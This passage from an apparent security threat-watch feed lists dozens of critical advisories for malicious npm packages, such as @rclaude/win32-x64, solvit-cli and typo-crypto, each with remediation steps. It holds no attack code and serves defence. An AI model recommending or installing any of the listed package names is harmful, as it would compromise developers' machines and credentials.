states that any computer with the package installed or running should be considered fully compromised, implying attackers may have obtained full control, harvested secrets and keys, and deployed additional persistent malware. All developers or CI systems that installed baidu-ti are affected. There is no fix; remediation is removal plus credential rotation and host forensics/rebuild. Do: Stop using and uninstall baidu-ti immediately; block it in dependency allowlists; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or thoroughly forensically clean affected hosts; assume persistence and additional malware; Audit dependency lockfiles and CI caches for baidu-ti and review what the compromised hosts accessed; Check logs for outbound connections or suspicious activity since installation ### [critical] @rclaude/win32-x64 npm package is malware — full machine compromise for installers of version 0.2.1 https://helix.ml/threat-watch/i/rclaude-win32-x64-npm-package-is-malware-full-machine-compromise-for-installers-of-version-0-2-1 · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published GHSA-w584-99h6-6g9r on 2026-11-10 flagging npm package @rclaude/win32-x64 version 0.2.1 as malware (CWE-506, embedded malicious code). The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated. No patched versions exist and no known source code is listed, so the package cannot be safely used at any version. Anyone who installed 0.2.1 — likely developers on Windows x64 pulling a Claude-related native binary — is affected. Removal of the package does not guarantee removal of the malicious software. Do: Treat any machine with @rclaude/win32-x64@0.2.1 installed as fully compromised; isolate it; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems; do not assume removal fully cleans the machine; Audit npm lockfiles and CI caches for the package and block it in dependency firewalls/allowlists; Review logs and network traffic for signs of attacker access following installation ### [critical] Malicious npm package solvit-cli — full machine compromise, no safe versions https://helix.ml/threat-watch/i/malicious-npm-package-solvit-cli-full-machine-compromise-no-safe-versions · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory (GHSA-p4j3-63x4-qr3v, CWE-506 Embedded Malicious Code) for the npm package solvit-cli on 2026-11-10. Every published version (0.0.0-stage through 0.5.0) is flagged as malicious, with no patched versions available, meaning the package should be treated as compromised from its first release. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removal of the package does not guarantee removal of all malicious software. The package sees roughly 2,027 downloads per month, so some number of developer machines may be affected. No CVE has been assigned and no common name for the malware has been reported. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where solvit-cli was installed, using a different, clean computer; Remove solvit-cli from all machines and CI environments and audit for persistence mechanisms, as removal may not eliminate all malicious software; Rebuild or reimage affected machines from trusted images where feasible; Audit npm lockfiles and dependency trees for solvit-cli and block/flag it in package registries and CI; Review logs and network traffic for signs of exfiltration or attacker access following installation ### [critical] Malicious npm package modules-newline — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-modules-newline-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-5hjr-7qfq-x5m5) for the npm package modules-newline, flagged as CWE-506 embedded malicious code. All versions (>= 0) are affected and no patched version exists; the package has no known source code repository and receives roughly 66 downloads per month. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside actors full control of the host. Anyone who installed the package is affected. There is no fix — remediation consists of removing the package, rotating all secrets and keys from a clean machine, and rebuilding/reimaging affected systems, since removal cannot guarantee all malicious software is eliminated. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a clean computer; Remove modules-newline from all projects and lockfiles and block it in dependency policies; Reimage or rebuild affected machines; do not assume removal fully cleans the system; Audit systems for persistence, unauthorized access, and exfiltration indicators; Check CI/CD and developer environments for the package and any credentials they hold ### [critical] npm malware read-react-app-out — full machine compromise on install; rotate all secrets https://helix.ml/threat-watch/i/npm-malware-read-react-app-out-full-machine-compromise-on-install-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-wfm4-3cjm-9545) on 2026-11-10 for the npm package read-react-app-out. Every published version (>= 0) is malicious and there are no patched versions; the package should not be used under any circumstances. Per the advisory, any computer where the package was installed or executed should be considered fully compromised, with control potentially handed to an outside entity. Attackers can steal secrets and keys and may persist beyond simple package removal. No CVE is assigned; weakness is CWE-506 (embedded malicious code). Removal of the package alone does not guarantee remediation of any malware it deployed. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean machine; Remove read-react-app-out from all projects and lockfiles and rebuild affected environments from trusted images; Audit affected machines for persistence and other malware; reimage if compromise is suspected; Block the package in npm registries/proxies and CI pipelines; Review npm install logs and dependency histories for other suspicious packages ### [critical] Malicious npm package css-import-order — full system compromise for installers (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-css-import-order-full-system-compromise-for-installers-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-wc5q-g53w-pg32 on 2026-11-10 flagging the npm package css-import-order as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists; the package should not be used under any circumstances. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, including access to secrets and keys. Reach appears limited (~172 downloads/month), but any installation is treated as a successful compromise. There is no fix — remediation consists of removing the package and rotating all credentials from a clean machine, since removal alone cannot guarantee the malware is eradicated. Do: Treat any machine with css-import-order installed as fully compromised; isolate and rebuild it; Rotate all secrets, keys, and credentials stored on affected machines, from a different clean computer; Remove the package from dependencies and lockfiles; block it in CI and dependency firewalls; Audit build systems and developer machines for the package and signs of follow-on malware; Review npm install logs and CI history to identify when and where it was installed ### [critical] Malicious npm package read-react-app-test — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-read-react-app-test-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-rf9p-c6g8-r84w) for the npm package read-react-app-test on 2026-11-10. Every version (>= 0) is flagged as embedded malicious code (CWE-506) with no patched version available. Per the advisory, any computer where the package is installed or running should be considered fully compromised, with control potentially handed to an outside entity; removal of the package does not guarantee removal of the malicious software. All developers or CI systems that installed the package are affected. There is no fix — the only remediation is removal plus full incident response on affected machines. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean machine; Remove the package from all projects, lockfiles, and caches; Rebuild or wipe affected machines and CI runners; treat them as compromised; Audit npm dependency trees and lockfiles for the package and block it in registry proxies/allowlists; Review access logs and network activity from affected hosts for attacker persistence or exfiltration ### [critical] read-react-app-in (npm): malicious package compromises any machine where it is installed https://helix.ml/threat-watch/i/read-react-app-in-npm-malicious-package-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-hc34-qc67-9qp4 on 2026-11-10 flagging the npm package read-react-app-in as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists; the package has no known source code. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with control potentially given to an outside entity. All developers, CI systems, and build machines that installed the package are affected. Removal of the package alone is not guaranteed to eliminate the malicious software. Remediation is incident-response driven: rotate all secrets and keys from a clean machine and rebuild affected hosts. Do: Rotate all secrets, tokens, SSH keys, and credentials stored on machines where the package was installed, using a clean computer; Remove the package and rebuild/reimage affected developer machines and CI runners from trusted images; Audit npm lockfiles and install logs for read-react-app-in and any dependencies that pulled it in; Review access logs and network traffic from affected hosts for signs of attacker activity; Block the package in internal registries and dependency-scanning policies ### [critical] selectlist-polyfill-lite (npm): malicious package compromises any machine where it is installed; no patched version exists https://helix.ml/threat-watch/i/selectlist-polyfill-lite-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-patched-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-2wg4-r52x-r477 flagging the npm package selectlist-polyfill-lite as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists, meaning the package itself is malware rather than a legitimate library that was backdoored. Any computer where the package is installed or running should be considered fully compromised, with full control potentially handed to an outside entity. The package sees roughly 1,084 downloads per month. GitHub advises removing the package, rotating all secrets and keys stored on affected machines from a different computer, and warns removal may not eliminate all malicious software planted during installation. No fixed version is available; the only safe action is removal and host remediation. Do: Remove selectlist-polyfill-lite from all projects and dependency trees immediately; Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a clean computer; Rebuild/reimage affected machines; removal of the package may not remove all malicious software; Audit dependency lockfiles and CI caches for the package and block it in registries/proxies; Review logs and network traffic for signs of compromise or exfiltration ### [critical] hissakdx-wix-ssr-callback-canary (npm): malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/hissakdx-wix-ssr-callback-canary-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's Advisory Database published GHSA-pmjf-g9mp-9hrr on 2026-11-10 flagging the npm package hissakdx-wix-ssr-callback-canary as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software. The package sees roughly 1190 downloads per month. There is no fix; remediation requires removing the package, rotating all secrets and keys from a clean machine, and rebuilding compromised systems. Do: Remove hissakdx-wix-ssr-callback-canary from all projects and lockfiles and block it in your registry/proxy; Rotate all secrets, keys, and credentials stored on any machine where it was installed, using a clean computer; Rebuild or reimage affected machines; do not trust that removal removed the malware; Audit npm dependency trees and CI caches for the package and review logs for signs of compromise ### [critical] @mobile-platform/magnetic-components (npm): malicious package fully compromises machines that install it https://helix.ml/threat-watch/i/mobile-platform-magnetic-components-npm-malicious-package-fully-compromises-machines-that-install-it · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory for the npm package @mobile-platform/magnetic-components on 2026-11-10. All versions (>= 0) contain embedded malicious code (CWE-506) and there are no patched versions; the package has been removed from the advisory's remediation path entirely. GitHub states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. The package saw roughly 1,779 downloads per month, so exposure is limited but real. Because the malware may persist beyond package removal, affected machines require forensic cleanup, and all secrets and keys stored on them must be rotated from a clean computer. No fix exists; removal of the package alone is not guaranteed to eliminate the malicious software. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a different, clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate the malicious software; Audit build systems and CI runners for the package and review logs for suspicious activity; Block the package name in dependency management and check lockfiles for transitive installs ### [critical] Malicious npm package commerce-utils — full system compromise via embedded malware (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-commerce-utils-full-system-compromise-via-embedded-malware-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-4m72-8w6v-x24q) for the npm package commerce-utils, versions 0.0.1 and 0.0.2, classified as CWE-506 embedded malicious code. The advisory states any computer with the package installed or running should be considered fully compromised, implying attacker control of the machine and access to secrets and keys. There are no patched versions and no known source code; the package (~733 downloads/month) should be treated as malicious rather than a vulnerable dependency. Anyone who installed these versions is affected. Remediation is removal of the package plus rotation of all secrets and keys from a clean machine, since removal cannot guarantee elimination of all malicious software. Do: Rotate all secrets, keys, and credentials stored on or accessible from affected machines immediately, using a clean computer; Remove commerce-utils 0.0.1/0.0.2 from all projects and lockfiles and block the package; Rebuild/reimage affected machines and audit for persistence mechanisms; Audit logs and systems for signs of attacker access following installation; Check CI/CD environments and dependency caches for the package ### [critical] health-relay-client (npm): malicious package versions 1.0.3–1.0.4 fully compromise installed machines (no CVE) https://helix.ml/threat-watch/i/health-relay-client-npm-malicious-package-versions-1-0-3-1-0-4-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory for the npm package health-relay-client, flagging versions 1.0.3 and 1.0.4 as containing embedded malicious code (CWE-506). GitHub's standard malware wording states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. There are no patched versions and no known source code repository; the package sees roughly 171 downloads per month. Any developer or CI system that installed these versions should assume secret and key theft and treat removal of the package as insufficient to guarantee remediation. The advisory was published and reviewed on 2026-11-10. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where health-relay-client 1.0.3 or 1.0.4 was installed, doing so from a clean computer; Remove the package and rebuild/reimage affected machines and CI runners from trusted images; Audit systems for signs of compromise and review logs for exfiltration or persistence; Block health-relay-client in dependency policies and check lockfiles and dependency trees for the affected versions ### [critical] Malicious npm package react-svg-chunk — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-react-svg-chunk-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-5mg5-p59w-76r5 on 2026-11-10 flagging the npm package react-svg-chunk as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched versions exist; the package has no known source code repository. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host. The package sees roughly 704 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software it installed. No CVE is assigned; remediation is incident response, not an upgrade. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where react-svg-chunk was installed, using a clean machine; Remove react-svg-chunk from all projects and lockfiles and block it in dependency policy; Rebuild or thoroughly forensically clean affected machines; assume full compromise; Audit CI/CD runners and developer workstations for the package and signs of compromise; Check npm audit / advisory feeds and pin reviewed dependencies before future installs ### [critical] supership-scan npm package is malware — full machine compromise for installers (no CVE) https://helix.ml/threat-watch/i/supership-scan-npm-package-is-malware-full-machine-compromise-for-installers-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-v62j-7p69-5q4q on 2026-11-10 flagging the npm package supership-scan version 1.0.0 as embedded malicious code (CWE-506). Any machine where the package is installed or running must be considered fully compromised, with control potentially handed to an outside entity; all secrets and keys on affected machines should be treated as stolen. The advisory lists no patched versions and none will be provided, so the only remediation is removal plus incident response. Reach is limited (~334 downloads/month), but anyone who installed the package is exposed to credential theft and persistent compromise that uninstalling may not fully remove. Do: Rotate all secrets, keys, tokens and credentials stored on machines where supership-scan was installed, using a clean computer; Remove supership-scan 1.0.0 from all projects and lockfiles and block the package in dependency policies; Rebuild/reimage affected machines and hunt for persistence, as removal may not eliminate implanted malware; Audit CI/CD and developer environments for exposure and review access logs for signs of misuse; Check dependency trees for the package and add npm provenance/scanning controls ### [critical] text-regexer (npm) 4.3.0 is malware — full machine compromise, no patched version https://helix.ml/threat-watch/i/text-regexer-npm-4-3-0-is-malware-full-machine-compromise-no-patched-version · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-p4p5-f7j2-g67x on 2026-11-10 flagging version 4.3.0 of the npm package text-regexer as embedded malicious code (CWE-506). Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. No patched version exists; the advisory recommends removal of the package, though removal cannot guarantee elimination of all malicious software it may have installed. All secrets and keys stored on affected machines should be rotated immediately from a different, clean computer. Organisations using this package should treat affected hosts as compromised and perform forensic cleanup or rebuild. Do: Remove text-regexer 4.3.0 from all projects and lockfiles immediately; Rotate all secrets, keys, and credentials stored on machines where the package was installed, from a clean computer; Rebuild or forensically clean affected machines; removal of the package does not guarantee removal of malware; Audit npm dependencies and CI environments for the package and block it going forward ### [critical] Malicious npm package typo-crypto fully compromises installed machines https://helix.ml/threat-watch/i/malicious-npm-package-typo-crypto-fully-compromises-installed-machines · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory for the npm package typo-crypto, flagging it as embedded malicious code (CWE-506) with no safe version — all versions >= 0 are affected and no patched release exists. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. Anyone who installed typo-crypto is affected; the package sees very low usage (~2 downloads/month), limiting reach, but any installation is treated as a successful compromise. Removal of the package alone is not guaranteed to remove the malicious software it installed. No fix is possible; the only remediation is removal plus full incident response. Do: Treat any machine with typo-crypto installed as fully compromised; rotate all secrets and keys from a clean computer immediately; Remove the package and rebuild/reimage affected machines; do not assume removal clears the malware; Audit npm dependency trees and lockfiles for typo-crypto and similar typosquatted crypto packages; Review access logs and network traffic for signs of attacker control since installation; Block or flag typo-crypto in CI/CD and dependency scanning ### [critical] trgrip (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/trgrip-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub published advisory GHSA-fw89-fphx-4q5r on 2026-11-10 flagging the npm package trgrip as malware (CWE-506, embedded malicious code). Every version (>= 0) is affected and no patched version exists, so any installation is considered a full compromise of the host machine. The advisory warns that attackers may have obtained full control of affected computers, meaning removal of the package does not guarantee removal of the malicious software. All secrets and keys stored on affected machines should be treated as stolen. The package reportedly sees around 1,421 downloads per month. There is no fix; remediation is removal plus credential rotation and host forensics/rebuild. Do: Remove trgrip from all projects and lockfiles immediately; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or forensically clean affected hosts; do not assume package removal removed the malware; Audit CI/CD and developer machines that may have installed the package for signs of compromise; Check dependency trees and lockfiles for trgrip and block it in package registries/proxies ### [critical] Malicious npm package @2oolkit/hyperliquid-cli — full machine compromise, credential theft (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-2oolkit-hyperliquid-cli-full-machine-compromise-credential-theft-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published GHSA-qg83-c6x5-qw8f on 2026-11-10 flagging the npm package @2oolkit/hyperliquid-cli as malware (CWE-506, embedded malicious code). Versions 0.1.0 through 0.2.7 are affected and there are no patched versions — the package cannot be safely used at all. The advisory states any computer with the package installed or running should be considered fully compromised, implying attackers may have obtained full control, exfiltrated secrets and keys, and installed additional malicious software that removal of the package will not eliminate. The package appears to be a typosquat-style fake CLI targeting Hyperliquid crypto users, with roughly 2,671 monthly downloads. No CVE is assigned; remediation is incident response, not patching. Do: Rotate all secrets, API keys, wallet keys and credentials stored on any machine where the package was installed, using a clean computer; Rebuild or wipe affected machines; do not rely on uninstalling the package; Audit for persistence, additional malware and signs of crypto-wallet or exchange compromise; Block/remove the package from dependency trees and lockfiles; check CI systems for exposure; Review logs for outbound connections or exfiltration since installation ### [critical] tchain-api (npm): malicious package versions 1.2.2–1.2.5 fully compromise installed machines; no patched versions https://helix.ml/threat-watch/i/tchain-api-npm-malicious-package-versions-1-2-2-1-2-5-fully-compromise-installed-machines-no-patched-versions · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-353c-q3qh-4wwc on 2026-11-10 flagging npm package tchain-api versions 1.2.2 through 1.2.5 as containing embedded malicious code (CWE-506). Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated from a clean computer. There are no patched versions and no known source code repository; the advisory states removal of the package cannot guarantee removal of all malicious software it installed. With roughly 229 downloads per month, exposure is limited but real, and the package should be treated as actively malicious rather than a vulnerable dependency. Do: Remove tchain-api 1.2.2–1.2.5 from all machines and CI environments immediately; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, using a clean computer; Rebuild/reimage affected systems; do not assume package removal removes the malware; Audit for persistence, unauthorized access, and lateral movement from affected hosts; Block the package in dependency policies and check lockfiles for transitive installs ### [critical] Malicious npm packages sms-activate.js, discord-user-parser, discord-badge-parser, discordjs-dm-parse — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-sms-activate-js-discord-user-parser-discord-badge-parser-discordjs-dm-parse-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-10 On 2026-11-10 GitHub published four malware advisories (GHSA-jf8p-p2w6-p4jq, GHSA-pw65-2qrx-w636, GHSA-797w-f996-fcxh, GHSA-2mwc-vf9r-h94x) flagging four npm packages — sms-activate.js, discord-user-parser, discord-badge-parser and discordjs-dm-parse — as containing embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched versions exist, so the packages must be removed rather than upgraded. GitHub warns that any machine with these packages installed or running should be considered fully compromised, implying credential and secret theft by an outside party. Download volumes are low (7, 32, 2 and unknown per month), limiting reach, but the Discord-themed names suggest targeting of Discord bot developers. No exploitation details or campaign attribution are given. Do: Remove all four packages from every project, lockfile and CI environment immediately; Rotate all secrets, tokens and keys (npm, Discord bot tokens, cloud credentials) stored on or accessible from affected machines, from a clean computer; Rebuild affected machines or containers from trusted images; do not assume removal of the package removes the malware; Audit logs and network egress for signs of exfiltration or unauthorized access; Block these package names in dependency policy and internal registries ### [critical] npm malware: @lemili9804/mcp-weather-server — malicious package fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/npm-malware-lemili9804-mcp-weather-server-malicious-package-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-qwfq-cw9x-55x4 on 2026-11-10 flagging the npm package @lemili9804/mcp-weather-server as embedded malicious code (CWE-506). Versions 1.0.3 and 1.0.6 are affected, with no patched versions available; the package has roughly 1,812 monthly downloads. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, including access to secrets and keys stored on the machine. Removal of the package alone is not guaranteed to remove all malicious software. No CVE is assigned; the advisory carries no EPSS score and no known source code repository exists for the package. Do: Immediately rotate all secrets, API keys, tokens and credentials stored on any machine where the package was installed, using a clean, uncompromised computer; Remove @lemili9804/mcp-weather-server from all projects and lockfiles; Rebuild or wipe affected machines, as removal may not eliminate all malicious software; Audit systems for signs of compromise and unexpected outbound connections; Block the package in internal registries and dependency scanning ### [critical] @solana-common/utils npm package is malware — full machine compromise, no patched versions (GHSA-r533-jgcg-qr68) https://helix.ml/threat-watch/i/solana-common-utils-npm-package-is-malware-full-machine-compromise-no-patched-versions-ghsa-r533-jgcg-qr68 · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-r533-jgcg-qr68) on 2026-11-10 for the npm package @solana-common/utils, flagging versions 1.0.0 through 2.0.12 as containing embedded malicious code (CWE-506). The advisory states any computer with the package installed or running should be considered fully compromised, with attackers potentially gaining full control of the machine. No patched versions exist and no source code is known; the package has no legitimate upstream. Exposure is limited (69 downloads/month, 2757 GitHub stars cited in the advisory metadata), but anyone who installed any listed version should treat secrets and keys on that machine as stolen. Removal of the package alone does not guarantee remediation, since malware may persist. Affected users must rotate all credentials from a clean machine and rebuild compromised hosts. Do: Treat any machine with @solana-common/utils installed as fully compromised; rotate all secrets, keys, and credentials immediately from a clean machine; Remove the package and rebuild/reimage affected systems rather than attempting in-place cleanup; Audit dependency lockfiles and CI caches for the package and any versions 1.0.0–2.0.12; Review access logs and wallet/crypto activity for signs of exfiltration; Block the package in internal registries and proxy policies ### [critical] tailwind-kinetix npm package is malware — full machine compromise, no safe version exists https://helix.ml/threat-watch/i/tailwind-kinetix-npm-package-is-malware-full-machine-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-fgxr-cqw4-cpp6) for the npm package tailwind-kinetix on 2026-11-10. Every published version (>= 0) contains embedded malicious code (CWE-506) and there are no patched versions — the package should be treated as malicious in its entirety. Any machine where the package was installed or executed must be considered fully compromised, with potential attacker access to secrets, keys, and credentials. The package sees roughly 331 downloads per month. Removal of the package does not guarantee removal of any malware it may have deployed. No CVE is assigned; the advisory recommends immediate secret rotation from a clean machine. Do: Stop using and uninstall tailwind-kinetix; block it in npm policies and CI dependency checks; Rotate all secrets, keys, tokens, and credentials stored on or accessible from affected machines, using a clean computer; Rebuild/reimage affected machines and audit for persistence, backdoors, and exfiltration; Audit dependency lockfiles and install history for exposure to the package ### [critical] @unipswap/postcss-animate-units: malicious npm package fully compromises machines running it (no CVE) https://helix.ml/threat-watch/i/unipswap-postcss-animate-units-malicious-npm-package-fully-compromises-machines-running-it-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-vh4f-84vw-hprv on 2026-11-10 flagging the npm package @unipswap/postcss-animate-units as embedded malicious code (CWE-506). All published versions (>= 0) are affected and no patched version exists; the package has no known source code. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, implying attackers may have obtained full control, including access to secrets and keys. Reach appears limited (~13 downloads/month), but any installation is treated as an active compromise rather than a latent risk. Removal of the package alone is not guaranteed to remove the malicious software. There is no vendor fix; remediation is incident response on affected machines. Do: Treat any machine with the package installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and block/flag @unipswap/postcss-animate-units in npm registries and dependency allowlists; Audit dependency trees and CI caches for the package and rebuild affected artifacts from clean sources; Review logs for signs of attacker activity following installation ### [critical] @solarcraft/observix npm package is malware — full machine compromise on install https://helix.ml/threat-watch/i/solarcraft-observix-npm-package-is-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database has flagged the npm package @solarcraft/observix as malware (CWE-506, embedded malicious code), published 2026-11-10. All versions (>= 0) are affected and there are no patched versions — the package itself is the attack. Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software. All secrets and keys on affected machines should be treated as stolen. No safe version exists; the only remediation is removal plus full credential rotation and system rebuild. Do: Remove @solarcraft/observix from all machines and CI immediately; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected systems; do not assume removal of the package removes the malware; Audit npm lockfiles and dependency trees for the package and block it in registries/proxies; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] agent-trace-kit (npm): malicious package compromises any machine where installed (no CVE) https://helix.ml/threat-watch/i/agent-trace-kit-npm-malicious-package-compromises-any-machine-where-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-p844-4jjv-h39f) for the npm package agent-trace-kit on 2026-11-10. All versions (>= 0) contain embedded malicious code (CWE-506) and no patched versions exist. Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; secrets and keys on affected machines are at risk. Removal of the package does not guarantee removal of all malicious software it installed. No fixed version is available; the only remediation is removal plus full incident response. Do: Rotate all secrets and keys stored on affected machines immediately, from a clean computer; Remove agent-trace-kit from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; audit for persistence and attacker access; Review CI/CD and developer environments for exposure and credential use during compromise window ### [critical] Malicious nicegui npm package — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-nicegui-npm-package-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-q452-fhw8-f2rp) on 2026-11-10 for the npm package nicegui, flagging it as containing embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. All secrets and keys on affected machines should be rotated immediately from a different, uncompromised computer. Removal of the package is recommended but may not remove all malicious software planted during installation. Organisations that installed the package should treat hosts as breached and rebuild them. Do: Immediately rotate all secrets, keys, and credentials stored on or accessible from machines where the package was installed, using a clean computer; Remove the nicegui npm package from all systems and block it in dependency management; Rebuild or reimage affected machines; do not assume removal of the package eliminates the malware; Audit systems for signs of compromise and unauthorised access or persistence; Review CI/CD and developer environments for exposure to the package and rotate pipeline credentials ### [critical] neat-terminal-visualizer-84721 (npm): malicious package fully compromises machines that install it https://helix.ml/threat-watch/i/neat-terminal-visualizer-84721-npm-malicious-package-fully-compromises-machines-that-install-it · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-xp8m-mppr-v6jw, CWE-506 Embedded Malicious Code) for the npm package neat-terminal-visualizer-84721 on 2026-11-10. Every version (>= 0) is malicious and there are no patched versions; the package is not a legitimate project with a flaw but outright malware. Any machine where the package is installed or running must be considered fully compromised, with control potentially handed to an outside entity, so removing the package does not guarantee removal of all malicious software. All secrets and keys on affected machines should be treated as stolen. No exploitation details or campaign name are given; the advisory itself confirms the malicious code exists in the published package. Do: Remove neat-terminal-visualizer-84721 from all systems and block it in dependency resolution; Rotate all secrets, keys, and credentials stored on any machine that installed or ran the package, using a clean machine; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit dependency lockfiles and CI environments for the package and review for signs of compromise ### [critical] Malicious npm package redeem-onchain-sdk compromises installer machines https://helix.ml/threat-watch/i/malicious-npm-package-redeem-onchain-sdk-compromises-installer-machines · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-xv64-hqwm-65h3) for the npm package redeem-onchain-sdk, flagged as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying the malware grants outside attackers full control of the host, enabling theft of secrets, keys and credentials. Anyone who installed the package is affected; there is no indication of a specific victim organisation. Remediation is removal of the package plus rotation of all secrets and keys from a clean machine, since uninstalling may not remove all malicious software. Do: Rotate all secrets, API keys, SSH keys and credentials stored on any machine where the package was installed, using a different clean computer; Remove redeem-onchain-sdk from all projects, lockfiles and CI environments; Rebuild or wipe affected machines and audit for persistence mechanisms; Audit logs and network egress for signs of exfiltration or attacker access; Block the package in npm dependency policies and scan repositories for its presence ### [critical] agui-session-recorder npm package is malware — full machine compromise, no safe version https://helix.ml/threat-watch/i/agui-session-recorder-npm-package-is-malware-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory (GHSA-qvgh-c63m-fxr7) for the npm package agui-session-recorder on 2026-11-10. Every published version (>= 0) is flagged as embedded malicious code with no patched version available. The advisory states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control of the machine, including access to secrets, keys, and credentials. Removal of the package does not guarantee removal of all malicious software it may have installed. Any developer, CI system, or end user that installed the package is affected; there is no safe version to upgrade to. Do: Rotate all secrets, keys, and credentials stored on or accessible from any machine where the package was installed, using a clean machine; Rebuild or wipe affected machines rather than just uninstalling the package; Audit dependency 